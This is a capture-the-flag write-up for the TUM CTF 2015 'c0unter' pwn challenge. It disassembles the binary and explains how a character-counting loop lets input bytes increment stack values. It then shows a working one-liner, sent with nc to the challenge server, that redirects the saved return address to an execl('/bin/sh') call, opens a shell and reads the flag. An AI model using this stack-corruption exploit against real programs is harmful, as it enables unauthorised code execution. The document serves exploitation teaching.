TUM CTF 2015 Teaser - c0unter (pwn 25)
I had the possiblity to play a few hours on TUM CTF Teaser. It was nicely organized and the challenges were fun to solve - even for the easy ones. Here is the first write-up I am going to publish for that CTF.
Basic information
From the organizers:
Pwn / c0unter
Baby's 1st
ctf.link/assets/downloads/pwn/counter
nc 1.ctf.link 1031
25 Points
We are facing an ELF 64-bit binary, stripped and with only NX enabled:
$ file counter
counter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=b065123973be4586a6b10f277cda428776bde80b, stripped
$ checksec --file counter
RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE
RPATH RUNPATH FILE
No RPATH No RUNPATH counter
By looking at the relocation table, we can see that the binary must have
somewhere a call to execl
and another to fscanf
:
$ objdump -R counter
counter: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600c68 R_X86_64_GLOB_DAT __gmon_start__
0000000000600d00 R_X86_64_COPY stdin
0000000000600c88 R_X86_64_JUMP_SLOT free
0000000000600c90 R_X86_64_JUMP_SLOT __isoc99_fscanf <=
0000000000600c98 R_X86_64_JUMP_SLOT puts
0000000000600ca0 R_X86_64_JUMP_SLOT __libc_start_main
0000000000600ca8 R_X86_64_JUMP_SLOT __gmon_start__
0000000000600cb0 R_X86_64_JUMP_SLOT malloc
0000000000600cb8 R_X86_64_JUMP_SLOT exit
0000000000600cc0 R_X86_64_JUMP_SLOT execl <=
Disassembling
When interacting with the service, no welcome message or instruction is
provided, it only seems to echo our input. The call to fscanf is made at 0x40074f
:
$ objdump -M intel -d counter
[snip]
40074f: e8 0c fe ff ff call 400560 <__isoc99_fscanf@plt>
[snip]
In GDB with peda, we can see the arguments given to fscanf
:
gdb-peda$ b *0x40074f
Breakpoint 1 at 0x40074f
gdb-peda$ r
[snip]
Guessed arguments:
arg[0]: 0x7ffff7dd5900 --> 0xfbad2088
arg[1]: 0x4008dc --> 0x7331313525 ('%511s')
arg[2]: 0x600d40 --> 0x0
arg[3]: 0x0
[snip]
The first argument is the address of stdin
in the glibc, the second argument
is the format used to interpret our input and the third argument is the address
of the destination buffer where our input is stored.
Between 0x400794
and 0x4007ae
we can see that the code loops over the buffer, count the occurence of each character of our input and save that information on the stack:
0x400794: mov eax,0x600d40 ; address of the buffer
0x400799: lea rcx,[rbp+rax*1+0x0] ; number of bytes read by fscanf
0x40079e: xchg ax,ax
0x4007a0: movzx edx,BYTE PTR [rax] ; get the value of the current byte
0x4007a3: add rax,0x1 ; offset of the next char
0x4007a7: add BYTE PTR [rsp+rdx*1],0x1 ; increment the counter of this byte
; by 1
0x4007ab: cmp rax,rcx
0x4007ae: jne 0x4007a0
This can be interpreted as the following C code:
for (i = 0; i < input_length; ++i) {
*(rsp + input[i]) += 1;
}
As a byte can contain a value between 0x00 and 0xff, we can manipulate the
stack from its top to 256 bytes further. If the saved rip
value is contained
within that range, we can hijack the flow of the program.
Here is an example where I’ve fed the binary with the string AAAABBBBCCCCDDDD
. To do that I usually create a fifo
:
$ mkfifo fifo
In gdb, I use it to feed the binary through its standard input:
gdb-peda$ r < fifo
And in another shell, I can use any commands to feed the fifo:
$ echo 'AAAABBBBCCCCDDDD' > fifo
$ echo -e -n '\xde\xad\xbe\xef' > fifo
$ python2 -c 'print "..."' > fifo
$ ./script > fifo
Here is the stack before executing the vulnerable function:
gdb-peda$ x/22gx $rsp
0x7fffffffdc00: 0x0000000000000000 0x0000000000000000
0x7fffffffdc10: 0x0000000000000000 0x0000000000000000
0x7fffffffdc20: 0x0000000000000000 0x0000000000000000
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000
0x7fffffffdc40: 0x0000000000000000 0x0000000000000000
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000
0x7fffffffdc60: 0x0000000000000000 0x0000000000000000
0x7fffffffdc70: 0x0000000000000000 0x0000000000000000
0x7fffffffdc80: 0x0000000000400850 0x0000000000000000
0x7fffffffdc90: 0x0000000000400850 0x00000000004005d9
0x7fffffffdca0: 0x0000000000000000 0x00007ffff7a57610
And here it is after the execution of the vulnerable function:
gdb-peda$ x/22gx $rsp
0x7fffffffdc00: 0x0000000000000000 0x0000000000000000
0x7fffffffdc10: 0x0000000000000000 0x0000000000000000
0x7fffffffdc20: 0x0000000000000000 0x0000000000000000
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000
0x7fffffffdc40: 0x0000000404040400 0x0000000000000000
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000
0x7fffffffdc60: 0x0000000000000000 0x0000000000000000
0x7fffffffdc70: 0x0000000000000000 0x0000000000000000
0x7fffffffdc80: 0x0000000000400850 0x0000000000000000
0x7fffffffdc90: 0x0000000000400850 0x00000000004005d9
0x7fffffffdca0: 0x0000000000000000 0x00007ffff7a57610
You can see that the bytes between addresses 0x7fffffffdc41
and
0x7fffffffdc44
have been incremented by 4. These addresses correspond to the
address of rsp
, 0x7fffffffdc00
, plus the value in bytes of A
, B
, C
and D
: 0x41
, 0x42
, 0x43
and 0x44
respectively. You may find more
information about ASCII characters value in hexadecimal here.
Exploitation
Here is the information about the current stack frame, when the vulnerable code is executed:
gdb-peda$ i frame
Stack level 0, frame at 0x7fffffffdca0:
rip = 0x40074f; saved rip = 0x4005d9
called by frame at 0x7fffffffdcb0
Arglist at 0x7fffffffdbf8, args:
Locals at 0x7fffffffdbf8, Previous frame's sp is 0x7fffffffdca0
Saved registers:
rbx at 0x7fffffffdc88, rbp at 0x7fffffffdc90, rip at 0x7fffffffdc98
The distance from the top of the stack (rsp
) and the location of the saved rip
is 152 bytes:
gdb-peda$ distance $rsp 0x7fffffffdc98
From 0x7fffffffdc00 to 0x7fffffffdc98: 152 bytes, 38 dwords
gdb-peda$
If we send to the binary bytes having values between 152 (0x98
) and 160 (0xa0
),
we can change the value of the saved rip
and control the flow of the program
when the current function return.
As mentionned earlier, there is at least a call to execl
somewhere is the code:
$ objdump -M intel -d counter | grep -B 5 execl
[snip]
4006e0: bf d4 08 40 00 mov edi,0x4008d4
4006e5: 48 83 ec 08 sub rsp,0x8
4006e9: 31 d2 xor edx,edx
4006eb: be d9 08 40 00 mov esi,0x4008d9
4006f0: 31 c0 xor eax,eax
4006f2: e8 c9 fe ff ff call 4005c0 <execl@plt>
[snip]
This shows to complete call to execl
:
- the first argument is a string located at
0x4008d4
- the second argument is a string located at
0x4008d9
- and the third argument is
0
(xor edx,edx
), which is used to indicate the end of the arguments list. Here are the strings:
gdb-peda$ x/s 0x4008d4
0x4008d4: "/bin/sh"
gdb-peda$ x/s 0x4008d9
0x4008d9: "sh"
This gives us the following call: execl("/bin/sh", "sh");
Let’s replace the saved rip
with 0x4006e0
so that we can spawn a shell when
the function returns. Saved rip
minus the address of the call to execl will
give us the number of characters we have to use:
0x4006e0 - 0x4005d9 = 0x0107
or 0xe0 - 0xd9 = 0x07
and 0x06 - 0x05 = 0x01
This means that the lowest byte of saved rip
must be incremented 7 times and
the next one, once:
$ (python2 -c 'print 7 * "\x98" + "\x99" + "\0\0\0\0"'; cat) \
| nc -v 1.ctf.link 1031
Connection to 1.ctf.link 1031 port [tcp/*] succeeded!
id
uid=1000(counter) gid=1000(counter) groups=1000(counter)
ls -la
total 32
drwxr-xr-x 2 root root 4096 Oct 24 21:00 .
drwxr-xr-x 6 root root 4096 Oct 24 21:00 ..
-rwxr-xr-x 1 root root 5384 Oct 24 00:38 counter
-rw-r--r-- 1 root root 32 Oct 24 12:59 flag.txt
-rwxr-xr-x 1 root root 9384 Oct 24 15:51 ynetd
cat flag.txt
hxp{0verflow1ng_ch4c4cters_w1n}
Pwned for the glory of the almighty technoviking!